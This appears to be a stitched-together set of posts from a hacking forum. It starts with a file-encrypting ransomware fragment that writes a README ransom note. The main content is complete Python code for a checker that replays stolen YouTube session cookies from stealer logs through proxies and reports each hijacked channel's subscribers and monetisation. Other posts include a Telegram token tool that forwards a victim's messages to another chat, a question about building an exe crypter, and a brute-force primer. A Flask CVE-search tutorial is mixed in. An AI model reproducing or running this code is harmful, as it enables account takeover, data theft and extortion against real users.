for name in files:
for i in ext:
if name.endswith (i.lower ()):
try:
encrypt_file (os.path.join (path, name), key)
c + = 1
except Exception as e:
pass
try:
with open (path + '/README.txt', 'w') as f:
f.write (message)
f.close ()
except Exception as e:
pass
except Exception as e:
pass # continue if error
Всем привет ! Хотелось написать какой нибудь интересный проект и решил сделать ютуб чекер. Все написано с чистого нуля !
Приступи:
Немного о проекте - ищет куки в папка cookies, Cookies. Использует socks4 или
5, название лога имеет общее количество просмотров, видео и подписчиков, а так
же выводит, есть ли на этих каналах монитизация, если будет 1 канал с
монитизацией он напишет, что есть. Ну и собественно год от минимального к
максимальному. Внутри куки будут написаны все каналы, которые присутсвуют.
Потоки указывать желательно до 100, ну смотрите сами в общем.
Формат прокси: login:pass@ip:port
Перед запуском создайте папку в ней папку с логами и файл с проксями с
добавлением нашего чекера.
Начнем с исходников
Spoiler: Файл с функциями помощниками
Python:Copy to clipboard
import asyncio
import os
import aiofiles
import re
LOCK_READ = asyncio.Lock()
async def use_proxy(PROXIES: list):
async with LOCK_READ:
first_proxy = PROXIES.pop(0)
PROXIES.append(first_proxy)
return PROXIES, first_proxy
async def get_proxy(file_proxy):
list = []
async with LOCK_READ:
async with aiofiles.open(f'{file_proxy}', 'r', encoding='UTF-8') as file:
lines = await file.readlines()
for i in lines:
list.append(i)
return list
async def check_txt(file: str, service: str):
async with LOCK_READ:
async with aiofiles.open(file, "r", encoding='UTF-8') as file:
content = await file.read()
return service in content.lower()
async def find_paths(path: str, service: str):
cookies_folders = []
good_path = []
for root, dirs, files in os.walk(path):
for dir in dirs:
if dir in ["cookies", "Cookies"]:
cookies_folders.append(os.path.join(root, dir))
for cookie_in_folder in cookies_folders:
for cookie in os.listdir(cookie_in_folder):
path = os.path.join(cookie_in_folder, cookie)
if await check_txt(path, service):
good_path.append(path)
count_path = len(good_path)
return good_path, count_path
async def net_to_cookie(filename: str, service: str):
cookies = {}
try:
async with LOCK_READ:
with open(filename, 'r', encoding='utf-8') as fp:
for line in fp:
try:
if not re.match(r'^\#', line) and service in line:
lineFields = line.strip().split('\t')
cookies[lineFields[5]] = lineFields[6]
except:
continue
except UnicodeDecodeError:
async with LOCK_READ:
with open(filename, 'r') as fp:
for line in fp:
try:
if not re.match(r'^\#', line) and service in line:
lineFields = line.strip().split('\t')
cookies[lineFields[5]] = lineFields[6]
except:
continue
return cookies
Spoiler: Файл с импортами
Python:Copy to clipboard
import os
try:
LOGS_FOLDER_PATH = os.path.join(os.getcwd(), str(input('Write log folder\n')))
FILE_PROXY = os.path.join(os.getcwd(), str(input('Write socks file\n')))
TYPE_PROXY = str(input('Write type socks: socks4 or socks5\n'))
THREADS_COUNT = int(input('Write treads count\n'))
except:
exit()
Spoiler: Основная функция по чеку куков
Python:Copy to clipboard
import asyncio
import aiohttp
from aiohttp import ClientSession
from aiohttp_socks import ProxyConnector
from supports import find_paths, use_proxy, net_to_cookie
from imports import TYPE_PROXY, THREADS_COUNT
import aioshutil
import os
import json
import hashlib
import time
import re
import aiofiles
metric = ['subscriberCount', 'videoCount', 'totalVideoViewCount']
ORIGIN_URL = 'https://www.youtube.com'
SERVICE = 'youtube.com'
FOLDER_NAME = 'youtube'
THREADS_COUNT = THREADS_COUNT
TOTAL_PATHS = 0
CHECKED_TXT = 0
NOT_CHECKED_TXT = 0
PROXIES = []
QUEUE = asyncio.Queue()
THLOCK = asyncio.Lock()
headers = {
'authority': 'www.youtube.com',
'accept': '*/*',
'accept-language': 'ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7',
'content-type': 'application/json',
'origin': 'https://www.youtube.com',
'referer': 'https://www.youtube.com/',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36',
'x-goog-authuser': '0',
'x-origin': 'https://www.youtube.com',
}
async def _get_authorization_headers(sapisid_cookie: str):
time_msec = int(time.time() * 1000)
auth_string = '{} {} {}'.format(time_msec, sapisid_cookie, ORIGIN_URL)
auth_hash = hashlib.sha1(auth_string.encode()).hexdigest()
sapisidhash = 'SAPISIDHASH {}_{}'.format(time_msec, auth_hash)
return sapisidhash
async def get_values(session: ClientSession, cookies: list):
try:
async with session.get('https://www.youtube.com/', cookies=cookies, headers=headers) as response:
good_data = {"context": {}}
data = await response.text()
user_key = data.split('"INNERTUBE_API_KEY":"')[1].split('"')[0]
data = data.split('"INNERTUBE_CONTEXT":')[1].split(',"INNERTUBE_CONTEXT_CLIENT_NAME"')[0]
good_data["context"] = json.loads(data)
return user_key, good_data
except Exception as e:
# print(f'[*] Error: {e}')
return None, None
async def cookies_to_str(cookies: list):
ap = []
for i in cookies:
cookie = f'{i}={cookies[i]}'
ap.append(cookie)
string_cookie = ''
for i in sorted(ap):
string_cookie = string_cookie + i + '; '
return string_cookie
async def get_users(session: ClientSession, cookies_str: str):
headers['cookie'] = cookies_str
try:
async with session.get('https://www.youtube.com/getAccountSwitcherEndpoint', headers=headers) as response:
data = await response.text()
data = json.loads(data.split(")]}'")[1])
accounts = \
data['data']['actions'][0]['getMultiPageMenuAction']['menu']['multiPageMenuRenderer']['sections'][0][
'accountSectionListRenderer']['contents'][0]['accountItemSectionRenderer']['contents']
clientCacheKeys = []
ids = []
for service in accounts:
if 'accountItem' in service:
for i in service['accountItem']['serviceEndpoint']['selectActiveIdentityEndpoint'][
'supportedTokens']:
if 'offlineCacheKeyToken' in i:
clientCacheKeys.append('UC' + i['offlineCacheKeyToken']['clientCacheKey'])
elif 'datasyncIdToken' in i:
ids.append(str(i['datasyncIdToken']['datasyncIdToken']).split('||')[0])
ids[0] = '0'
return clientCacheKeys, ids
except Exception as e:
# print(f'[*] Error: {e}')
return None
async def get_date_and_monetization(session: ClientSession, clientCacheKeys: list, ids: list, cookies: dict, cookies_str: str):
user_key, data = await get_values(session, cookies)
if (user_key and data) is not None:
hash = await _get_authorization_headers(cookies['SAPISID'])
headers = {'authority': 'www.youtube.com', 'accept': '*/*',
'accept-language': 'ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7',
'content-type': 'application/json', 'origin': 'https://www.youtube.com',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36',
'x-origin': 'https://www.youtube.com', 'cookie': cookies_str}
monetization = []
joined_date_list = []
try:
for channelids, id in zip(clientCacheKeys, ids):
headers['authorization'] = f'SAPISIDHASH {hash.split(" ")[1]}'
headers['x-goog-pageid'] = f'{id}'
params = {
'key': f'{user_key}',
'prettyPrint': 'false',
}
data['browseId'] = f'{channelids}'
data['params'] = 'EgVhYm91dPIGBAoCEgA%3D'
async with session.post(
'https://www.youtube.com/youtubei/v1/browse',
params=params,
headers=headers,
json=data,
) as response:
values_data = await response.json()
monetization.append(
values_data['responseContext']['serviceTrackingParams'][0]['params'][3]['value'])
for key in values_data['contents']['twoColumnBrowseResultsRenderer']['tabs']:
if 'tabRenderer' in key:
for content in key['tabRenderer']:
if 'content' in content:
if 'content' in content:
joined_date = \
key['tabRenderer']['content']['sectionListRenderer']['contents'][0][
'itemSectionRenderer']['contents'][0]['channelAboutFullMetadataRenderer'][
'joinedDateText']['runs'][1]['text']
joined_date = re.search(r"\b\d{4}\b", joined_date)
joined_date_list.append(int(joined_date.group()))
return joined_date_list, monetization
except Exception as e:
# print(f'[*] Error: {e}')
return None, None
else:
return None
async def get_metric(session: ClientSession, clientCacheKeys: list, ids:list, cookies: dict, cookies_str: str):
user_key, data = await get_values(session, cookies)
if (user_key and data) is not None:
hash = await _get_authorization_headers(cookies['SAPISID'])
headers = {'authority': 'www.youtube.com', 'accept': '*/*',
'accept-language': 'ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7', 'content-type': 'text/plain;charset=UTF-8',
'origin': 'https://www.youtube.com',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36',
'x-goog-authuser': '0', 'cookie': cookies_str}
channels_info = []
try:
for id, cid in zip(ids, clientCacheKeys):
headers['authorization'] = f'SAPISIDHASH {hash.split(" ")[1]}'
params = {
'alt': 'json',
'key': f'{user_key}',
}
if id == '0':
data = '{"channelIds":["' + cid + '"],"context":{"client":{"clientName":62,"clientVersion":"1.20230403.0.0","hl":"ru","gl":"RU","experimentIds":[]},"request":{"returnLogEntry":true,"internalExperimentFlags":[]}},"mask":{"channelId":true,"contentOwnerAssociation":{"all":false},"features":{"all":false},"metric":{"all":true},"monetizationDetails":{"all":false},"monetizationStatus":true,"permissions":{"all":false},"settings":{"coreSettings":{"featureCountry":true}}}}'
else:
data = '{"channelIds":["' + cid + '"],"context":{"client":{"clientName":62,"clientVersion":"1.20230403.0.0","hl":"ru","gl":"RU","experimentIds":[]},"request":{"returnLogEntry":true,"internalExperimentFlags":[]},"user":{"onBehalfOfUser":"' + id + '"}},"mask":{"channelId":true,"contentOwnerAssociation":{"all":false},"features":{"all":false},"metric":{"all":true},"monetizationDetails":{"all":false},"monetizationStatus":true,"permissions":{"all":false},"settings":{"coreSettings":{"featureCountry":true}}}}'
async with session.post(
'https://www.youtube.com/youtubei/v1/creator/get_creator_channels',
params=params,
headers=headers,
data=data,
) as response:
data_channel = await response.json()
for i in metric:
channels_info.append(data_channel['channels'][0]['metric'][i])
return channels_info
except Exception as e:
# print(f'[*] Error: {e}')
return None
else:
return None
async def format_value(clientCacheKeys: list, channels_info: list, joined_date: list, monetization: list):
sum1 = 0
sum2 = 0
sum3 = 0
for i in range(0, len(channels_info), 3):
sum1 += int(channels_info[i])
sum2 += int(channels_info[i + 1])
sum3 += int(channels_info[i + 2])
if 'true' in monetization:
monetization_is = 'true'
else:
monetization_is = 'false'
all_sum = [sum1, sum2, sum3, min(joined_date), max(joined_date), monetization_is]
result_dict = {}
for i in range(len(clientCacheKeys)):
result_dict[clientCacheKeys[i]] = {
'metric': channels_info[:3],
'date': joined_date[i],
'm': monetization[i]
}
channels_info = channels_info[3:]
return result_dict, all_sum
async def check_cookie(cookies: dict, cookies_str: str):
global PROXIES
PROXIES, proxy = await use_proxy(PROXIES)
connector = ProxyConnector.from_url(f'{TYPE_PROXY}://{proxy}')
async with aiohttp.ClientSession(connector=connector) as session:
try:
clientCacheKeys, ids = await get_users(session, cookies_str)
joined_date, monetization = await get_date_and_monetization(session, clientCacheKeys, ids, cookies,
cookies_str)
channels_info = await get_metric(session, clientCacheKeys, ids, cookies, cookies_str)
result_dict, all_sum = await format_value(clientCacheKeys, channels_info, joined_date, monetization)
return result_dict, all_sum
except Exception as e:
# print(f'[*] Error: {e}')
return None, None
async def write_to_file(result_dict: dict, all_sum: list, path: str):
file = os.path.join(os.getcwd(),
f'{FOLDER_NAME}\\{all_sum[2]}_VIEWS_{all_sum[1]}_VIDEOS_{all_sum[0]}_SUBS_{all_sum[3]}-{all_sum[4]}_[M]_{all_sum[5]}.txt')
await aioshutil.copy2(path, file)
async with THLOCK:
async with aiofiles.open(file, "r+", encoding='UTF-8') as file:
content = await file.read()
await file.seek(0)
for channel in result_dict:
await file.write(f'# Channel link: https://www.youtube.com/channel/{channel}\n'
f'# Subsribers: {result_dict[channel]["metric"][0]}\n'
f'# Videos: {result_dict[channel]["metric"][1]}\n'
f'# Views: {result_dict[channel]["metric"][2]}\n'
f'# Date: {result_dict[channel]["date"]}\n'
f'# Monetization: {result_dict[channel]["m"]}\n\n')
await file.write(f'# {path}\n\n')
await file.write(content)
async def worker():
global QUEUE, CHECKED_TXT, NOT_CHECKED_TXT
while not QUEUE.empty():
path = await QUEUE.get()
cookies = await net_to_cookie(path, SERVICE)
cookies_str = await cookies_to_str(cookies)
result_dict, all_sum = await check_cookie(cookies, cookies_str)
if (result_dict and all_sum) is not None:
await write_to_file(result_dict, all_sum, path)
CHECKED_TXT += 1
print(f'[*] Good cookies: {CHECKED_TXT}')
else:
NOT_CHECKED_TXT += 1
print(f'[*] Bad cookies: {NOT_CHECKED_TXT}')
async def start_youtube(LOGS_FOLDER_PATH: str, PROXIES_LIST: list):
global TOTAL_PATHS, QUEUE, CHECKED_TXT, NOT_CHECKED_TXT, PROXIES
if not os.path.exists(f'{os.getcwd()}\\{FOLDER_NAME}'):
os.mkdir(f'{os.getcwd()}\\{FOLDER_NAME}')
list_dir_files, TOTAL_PATHS = await find_paths(LOGS_FOLDER_PATH, SERVICE)
PROXIES = PROXIES_LIST
print(f'[*] Finded paths with youtube.com: {TOTAL_PATHS}')
if TOTAL_PATHS == 0:
exit()
[QUEUE.put_nowait(path) for path in list_dir_files]
treads = [asyncio.create_task(worker()) for _ in range(1, THREADS_COUNT + 1)]
await asyncio.gather(*treads)
print(f'[*] Finded cookies with youtube.com: {TOTAL_PATHS} // GOOD: {CHECKED_TXT}, BAD: {NOT_CHECKED_TXT}')
Spoiler: Функция запуска кода
Python:Copy to clipboard
import asyncio
from supports import get_proxy
from imports import FILE_PROXY, LOGS_FOLDER_PATH
from youtube import start_youtube
async def main():
PROXIES = await get_proxy(FILE_PROXY)
await start_youtube(LOGS_FOLDER_PATH, PROXIES)
input('Press ENTER to exit')
if __name__ == '__main__':
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
asyncio.run(main())
Вид результатов чека:
Spoiler: Результат чека
https://xss.is/threads/85395 - тут уже полностью собранный проект, чтобы проще было воспользоваться им и не заморачиваться со сборкой
So i have been working on this project and seem to have got stuck with a few different parts of it and was wondering if anyone is either willing to contribute a bit of their time / knowledge / skill into it.
This is the main interface of the screen that will import and log Token Data
and allow the user to manipulate the tokens with the various commands on the
right hand side.
In this part whenever i goto highlight the token on the table and hit "Dump
Msgs" i get this error
"Error dumping messages: '>' not supported between instances of 'int' and 'NoneType'"
Python:Copy to clipboard
async def dumpMessages(self):
if not self.dialog:
self.console_text_edit_2.append("No dialog selected. Please select a chat or channel first.")
return
messages_by_chat = {}
messages_by_chat[self.dialog.id] = []
batch_size = 100
messages = []
processed_messages = 0
try:
last_message_id = self.get_last_dumped_message_id(self.dialog.id)
total_messages = (await self.client.get_messages(self.dialog, limit=None)).total
# Check for None
if total_messages is None:
self.console_text_edit_2.append("Failed to retrieve total messages.")
return
# Get the chat ID from the text input
target_chat_id = self.telegram_chat_id_text_input.toPlainText() # Assuming this is a QLineEdit or similar
async for message in self.client.iter_messages(self.dialog, offset_id=last_message_id):
messages.append(message)
processed_messages += 1
# Forward the message to the target chat ID
if target_chat_id:
await self.client.send_message(target_chat_id, message)
if len(messages) >= batch_size:
messages_by_chat[self.dialog.id].extend(messages)
await self.write_messages_to_file(self.dialog.id, messages_by_chat[self.dialog.id])
self.save_last_dumped_message_id(self.dialog.id, message.id)
messages = []
# Update progress
progress = (processed_messages / total_messages) * 100
self.update_progress_bar(progress)
await asyncio.sleep(0.1)
# Process remaining messages
if messages:
messages_by_chat[self.dialog.id].extend(messages)
await self.write_messages_to_file(self.dialog.id, messages_by_chat[self.dialog.id])
self.save_last_dumped_message_id(self.dialog.id, messages[-1].id)
self.console_text_edit_2.append("Messages dumped successfully.")
except Exception as e:
self.console_text_edit_2.append(f"Error dumping messages: {str(e)}")
Anyone that can help or even provide any kind of assistance or if they are interested in working on the project with me, just let me know
Всем, привет! Хочу изучить инструмент flask, и хотел бы разработать что-то
практичное для портфолио. Самую интересную идею разработаю и скину за
бесплатно.
Можно писать или тут или в лс форума.
Всем хорошего дня!
Clean Code in Python - Second Edition
Develop maintainable and efficient code
Mariano Anaya
![](/proxy.php?image=https%3A%2F%2Fstatic.packt-
cdn.com%2Fproducts%2F9781800560215%2Fcover%2F9781800560215-original.png&hash=b34d3f45e5e71bd08ae3dacaafd86cac)
Hidden content for authorized users.
anonfiles.com
Is it possible to code a exe Crypter in python? When yes who can teach me how to do that?
Hello dear friends, in this article, we intend to review and explain a project using Flask and the GitHub API that allows users to search for new CVEs from GitHub and clone the related repositories. In this project, Python is used for development, and Flask is used as the web framework to build the user interface.
First of all, let me give an explanation about Flask in Python and its functionality in this project. (**Note that this article is prepared for beginners, but this can be a very good and professional tool for all individuals.)
What is Python Flask?
Python Flask**: Flask is a micro web framework for Python that, due to its simplicity and flexibility, is very suitable for small to medium-sized projects. Flask allows developers to quickly implement web applications with minimal coding and configuration.
GitHub API : GitHub API allows developers to receive information about repositories, users, and other GitHub resources using HTTP requests. In this project, the GitHub API is used to search for repositories related to CVEs.
Project structure:
Code:Copy to clipboard
cve.py
static/
style.css
templates/
base.html
cve_details.html
index.html
search_results.html
Well, I wrote this script using VS 2022. You can download it by clicking here.
First, let's install Flask using pip:
Code:Copy to clipboard
pip install flask
Now, let's create a Python project in VS and create the necessary files and folders.
Let's build the script step by step together.
cve_xss.py
install packages :
Python:Copy to clipboard
from flask import Flask, render_template, request, redirect, url_for, flash
import subprocess
import sys
import os
import requests
import json
from datetime import datetime, timedelta
from tzlocal import get_localzone
app = Flask(__name__)
app.secret_key = 'supersecretkey'
import flask: This line imports the necessary libraries. Flask
is used
for creating a web server, and render_template
is used for rendering
templates. request
and redirect
are used for handling requests and
redirecting the user to another page. flash is used for displaying temporary
messages
Define a context processor in Flask :
Python:Copy to clipboard
@app.context_processor
def utility_processor():
def enumerate_function(iterable, start=0):
return enumerate(iterable, start)
return dict(enumerate=enumerate_function)
@app.context_processor: A context processor in Flask that introduces the
function enumerate_function
to Jinja2 templates.
Python:Copy to clipboard
SETTINGS_FILE = 'settings.json'
LAST_SEARCH_FILE = 'last_search.json'
SETTINGS_FILE: Specifies the name of the settings file.
LAST_SEARCH_FILE: Specifies the name of the last search file.
Checking package installation :
Python:Copy to clipboard
def is_package_installed(package):
try:
subprocess.check_output([sys.executable, '-m', 'pip', 'show', package])
return True
except subprocess.CalledProcessError:
return False
def install_package(package):
subprocess.check_call([sys.executable, "-m", "pip", "install", package])
is_package_installed: Checks whether the package is installed or not.
install_package: Installs the package if it is not already installed.
Setting up the initial project :
Python:Copy to clipboard
def setup():
packages = [
"requests",
"rich",
"tzlocal",
"flask"
]
for package in packages:
if not is_package_installed(package):
print(f"Installing {package}...")
install_package(package)
else:
print(f"{package} is already installed.")
if os.name == 'nt':
subprocess.call('cls', shell=True)
else:
subprocess.call('clear', shell=True)
setup()
setup: This function installs required packages and clears the terminal screen.
Managing settings and GitHub tokens :
Python:Copy to clipboard
def load_settings():
if os.path.exists(SETTINGS_FILE):
with open(SETTINGS_FILE, 'r') as file:
return json.load(file)
return {}
def save_settings(settings):
with open(SETTINGS_FILE, 'w') as file:
json.dump(settings, file)
def get_github_token():
settings = load_settings()
return settings.get('GITHUB_TOKEN', '')
def set_github_token(token):
settings = load_settings()
settings['GITHUB_TOKEN'] = token
save_settings(settings)
load_settings: Loads the settings file.
save_settings: Saves the settings to a file.
get_github_token: Retrieves the GitHub token from the settings file.
set_github_token: Saves the GitHub token to the settings file.
Managing search time :
Python:Copy to clipboard
def load_last_search_time():
if os.path.exists(LAST_SEARCH_FILE):
with open(LAST_SEARCH_FILE, 'r') as file:
data = json.load(file)
return datetime.fromisoformat(data['last_search_time'])
return None
def save_last_search_time(time):
with open(LAST_SEARCH_FILE, 'w') as file:
json.dump({'last_search_time': time.isoformat()}, file)
def handle_existing_last_search_file():
if os.path.exists(LAST_SEARCH_FILE):
os.remove(LAST_SEARCH_FILE)
print("[bold green]Last search file deleted.[/bold green]")
load_last_search_time: Loads the last search time from a file.
save_last_search_time: Saves the last search time to a file.
handle_existing_last_search_file: Deletes the existing last search time
file.
Cloning a repository :
Python:Copy to clipboard
def clone_repository(repo_url, repo_name):
try:
subprocess.run(["git", "clone", repo_url, repo_name], check=True)
flash(f"Successfully cloned {repo_name}", 'success')
except subprocess.CalledProcessError:
flash(f"Failed to clone {repo_name}", 'danger')
clone_repository: Clones a GitHub repository and displays success or failure messages to the user.
Searching repositories :
Python:Copy to clipboard
def fetch_repositories(url, headers, repos):
try:
response = requests.get(url, headers=headers)
if response.status_code == 200:
results = response.json()
for repo in results['items']:
repos.append(repo)
else:
print(f"[bold red]Failed to fetch data from GitHub API. Status code: {response.status_code}[/bold red]")
except requests.exceptions.RequestException as e:
print(f"[bold red]An error occurred: {str(e)}[/bold red]")
def search_new_cves():
github_token = get_github_token()
headers = {'Authorization': f'token {github_token}'}
last_search_time = load_last_search_time() or datetime.now() - timedelta(days=1)
query = f'CVE created:>{last_search_time.strftime("%Y-%m-%dT%H:%M:%SZ")}'
url = f'https://api.github.com/search/repositories?q={query}&per_page=10'
repos = []
for page in range(1, 6): # Fetching up to 50 repositories (5 pages, 10 per page)
paginated_url = f'{url}&page={page}'
fetch_repositories(paginated_url, headers, repos)
save_last_search_time(datetime.now())
return repos
def search_specific_cve(cve_id):
github_token = get_github_token()
headers = {'Authorization': f'token {github_token}'}
url = f'https://api.github.com/search/repositories?q={cve_id}'
repos = []
fetch_repositories(url, headers, repos)
return repos
def search_cves_by_date(search_date):
github_token = get_github_token()
headers = {'Authorization': f'token {github_token}'}
query = f'CVE created:{search_date.strftime("%Y-%m-%d")}'
url = f'https://api.github.com/search/repositories?q={query}&per_page=10'
repos = []
fetch_repositories(url, headers, repos)
return repos
These functions are used to search repositories related to CVEs using the
GitHub API. fetch_repositories
retrieves repository data from the GitHub
API. search_new_cves
, search_specific_cve
, and search_cves_by_date
are
respectively used for searching new CVEs, searching for a specific CVE, and
searching CVEs by date.
Flask Route:
This route serves the index page. It checks if a GitHub token is set in the settings and passes it to the template if it exists.
Python:Copy to clipboard
@app.route('/')
def index():
github_token = get_github_token()
if (github_token):
return render_template('index.html', github_token=github_token)
else:
return render_template('index.html')
Explanation:
get_github_token()
function to get the GitHub token from the settings. index.html
and passes the GitHub token to the template if it exists.index.html
without passing the GitHub token to the template.Flask Route: /set_token
This route handles the submission of the GitHub token and stores it in the settings.
Python:Copy to clipboard
@app.route('/set_token', methods=['POST'])
def set_token():
github_token = request.form['github_token']
set_github_token(github_token)
return redirect(url_for('index'))
Explanation:
/set_token
URL is accessed.set_github_token()
function to save the GitHub token in the settings.index
route (likely the homepage in this case) after setting the token.Flask Route: /search
This route handles different types of CVE searches based on user input.
Python:Copy to clipboard
@app.route('/search', methods=['POST'])
def search():
search_type = request.form['search_type']
if search_type == 'specific':
cve_id = request.form['cve_id']
repos = search_specific_cve(cve_id)
return render_template('search_results.html', repos=repos)
elif search_type == 'new':
handle_existing_last_search_file()
repos = search_new_cves()
return render_template('search_results.html', repos=repos)
elif search_type == 'date':
search_date_str = request.form['search_date']
search_date = datetime.strptime(search_date_str, "%Y-%m-%d")
repos = search_cves_by_date(search_date)
return render_template('search_results.html', repos=repos)
return redirect(url_for('index'))
Explanation:
/search
URL is accessed.search_specific_cve()
function to search for the specific CVE.search_results.html
with the search results.handle_existing_last_search_file()
function to remove any existing last search file.the search_new_cves()
function to search for new CVEs.search_results.html
with the search results. search_cves_by_date()
function to search for CVEs by date.search_results.html
with the search results.index
page if no valid search type is found.Flask Route: /clone
This route handles the cloning of a GitHub repository based on user input.
Python:Copy to clipboard
@app.route('/clone', methods=['POST'])
def clone():
repo_url = request.form.get('repo_url')
repo_name = repo_url.split('/')[-1]
clone_repository(repo_url, repo_name)
return redirect(url_for('index'))
Explanation:
/clone
URL is accessed.clone_repository()
function to clone the repository using the provided URL and name.Running the Flask App
Python:Copy to clipboard
if __name__ == "__main__":
app.run(debug=True)
**Explanation:
if name == "main"**: Checks if the script is being run directly (not
imported as a module).
app.run(debug=True) : Runs the Flask app in debug mode, allowing for live
code updates and detailed error messages.
index.html :
The HTML code contains two POST forms form for setting GitHub Token:
HTML:Copy to clipboard
<form method="POST" action="{{ url_for('set_token') }}">
<div class="form-group">
<label for="github_token">GitHub Token</label>
<input type="text" class="form-control" id="github_token" name="github_token" required>
</div>
<button type="submit" class="btn btn-primary">Set Token</button>
</form>
Explanation:
('set_token')
generates the correct URL for the set_token() function in Flask. When the form is submitted, the data will be sent to the set_token()
function for processing on the server side.Form for searching:
HTML:Copy to clipboard
<form method="POST" action="{{ url_for('search') }}">
<div class="form-group">
<label for="search_type">Search Type</label>
<select class="form-control" id="search_type" name="search_type" required>
<option value="specific">Specific CVE</option>
<option value="new">New CVEs</option>
<option value="date">By Date</option>
</select>
</div>
<div class="form-group" id="cve_id_group">
<label for="cve_id">CVE ID</label>
<input type="text" class="form-control" id="cve_id" name="cve_id" placeholder="e.g., CVE-2023-1234">
</div>
<div class="form-group" id="date_group" style="display:none;">
<label for="search_date">Search Date</label>
<input type="date" class="form-control" id="search_date" name="search_date">
</div>
<button type="submit" class="btn btn-primary btn-block">Search</button>
</form>
Explanation:
url_for('search')
generates the correct URL for the search()
function in Flask. When the form is submitted, the data will be sent to the search()
function for processing on the server side.JavaScript for Changing Form Display:
The JavaScript code below allows you to dynamically change the display of
input fields based on the search type selected:
JavaScript:Copy to clipboard
<script>
document.getElementById('search_type').addEventListener('change', function () {
var searchType = this.value;
if (searchType === 'specific') {
document.getElementById('cve_id_group').style.display = 'block';
document.getElementById('date_group').style.display = 'none';
} else if (searchType === 'new') {
document.getElementById('cve_id_group').style.display = 'none';
document.getElementById('date_group').style.display = 'none';
} else if (searchType === 'date') {
document.getElementById('cve_id_group').style.display = 'none';
document.getElementById('date_group').style.display = 'block';
}
});
</script>
Explanation:
search_type
element that triggers when its value changes.search_type
element.'specific'
. If true, it displays cve_id_group
and hides date_group
.'new'
. If true, it hides both cve_id_group
and date_group
.'date'
. If true, it hides cve_id_group
and displays date_group
.Connection with Python (Flask) Code:
HTML:Copy to clipboard
@app.route('/set_token', methods=['POST'])
def set_token():
github_token = request.form['github_token']
set_github_token(github_token)
return redirect(url_for('index'))
Explanation:
/set_token
that accepts POST requests. This route is typically used to handle form submissions.set_github_token()
function to save the GitHub token in the application settings or configuration.search() function:
HTML:Copy to clipboard
@app.route('/search', methods=['POST'])
def search():
search_type = request.form['search_type']
if search_type == 'specific':
cve_id = request.form['cve_id']
repos = search_specific_cve(cve_id)
return render_template('search_results.html', repos=repos)
elif search_type == 'new':
handle_existing_last_search_file()
repos = search_new_cves()
return render_template('search_results.html', repos=repos)
elif search_type == 'date':
search_date_str = request.form['search_date']
search_date = datetime.strptime(search_date_str, "%Y-%m-%d")
repos = search_cves_by_date(search_date)
return render_template('search_results.html', repos=repos)
return redirect(url_for('index'))
Explanation:
SEARCH detalis html :
1. Overall HTML Structure
HTML:Copy to clipboard
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Search Results</title>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<!-- Content Here -->
</body>
</html>
Explanation:
2. Body Content
The body section of the HTML document contains the main content of the page:
HTML:Copy to clipboard
<div class="container mt-5">
<h1 class="text-center mb-4">Search Results</h1>
{% if repos %}
<div class="row">
{% for idx, repo in enumerate(repos) %}
<div class="col-md-6 mb-4">
<div class="card">
<div class="card-body">
<h5 class="card-title">{{ repo.name }}</h5>
<p class="card-text">{{ repo.description or 'No description' }}</p>
<p class="card-text"><small class="text-muted">Created at: {{ repo.created_at }}</small></p>
<a href="{{ repo.html_url }}" class="btn btn-primary" target="_blank">View on GitHub</a>
<form method="POST" action="{{ url_for('clone') }}">
<input type="hidden" name="repo_url" value="{{ repo.html_url }}">
<input type="hidden" name="repo_name" value="{{ repo.name }}">
<button type="submit" class="btn btn-success mt-2">Clone Repository</button>
</form>
</div>
</div>
</div>
{% endfor %}
</div>
{% else %}
<div class="alert alert-danger" role="alert">
No repositories found.
</div>
{% endif %}
<a href="{{ url_for('index') }}" class="btn btn-secondary mt-4">Back to Search</a>
</div>
ok now let's to run and test script :
open folder project with command line (i'm using windows 10)
Run Script :
python3 cve_xss.py
let 's open 127.0.0.1:5000 :
open browser and type **127.0.0.1:5000 :
Serach and clone :
I hope this is a good flask project. Good evening to all members of the
forum.**
Best Regards BlackHunt .
Author : blackhunt
Special for XSS.is
The entire project has been added for testing and execution, available for download.
Есть скрипт, который находит все файлы txt, которые находятся в определенной папке, собирает их в массив(пути), а после проверяет есть ли слово в этих txt. Как можно ускорить это? Написать на c++ и добавить в код?
Как лучше написать программу для регистрации почт и автоматизировать это?
Приветствую всех! Сегодня мы взглянем на брутфорс, метода атаки, где хакер стремится взломать защищенные данные, перебирая все возможные комбинации паролей. Этот мощный инструмент в руках хакера способен преодолеть даже самые надежные пароли, делая его неотъемлемой частью хакерского арсенала.
Почему же брутфорс настолько эффективен?
Его сила заключается в простоте: хакер последовательно перебирает все возможные символы, находя верный пароль. Несмотря на видимую легкость, успешная брутфорс атака требует времени и вычислительных ресурсов, что делает ее вызовом даже для опытных.
Пример успешных атак брутфорсом
В 2007 году группа компаний, входящих в организацию Wi-Fi Alliance, начали продажу беспроводного оборудования для домашних сетей с поддержкой нового стандарта Wi-Fi Protected Setup. Среди производителей беспроводных маршрутизаторов, поддерживающих данную технологию, были такие крупные компании, как Cisco/Linksys, Netgear, Belkin и D-Link. Стандарт WPS был призван существенно упростить процесс настройки беспроводной сети и её использования для людей, не обладающих широкими знаниями в области сетевой безопасности. Однако, к концу 2011 года были опубликованы сведения о серьезных уязвимостях в WPS, которые позволяли злоумышленнику подобрать PIN-код беспроводной сети всего за несколько часов, обладая вычислительными ресурсами обыкновенного персонального компьютера.
Источник: wikipedia.org
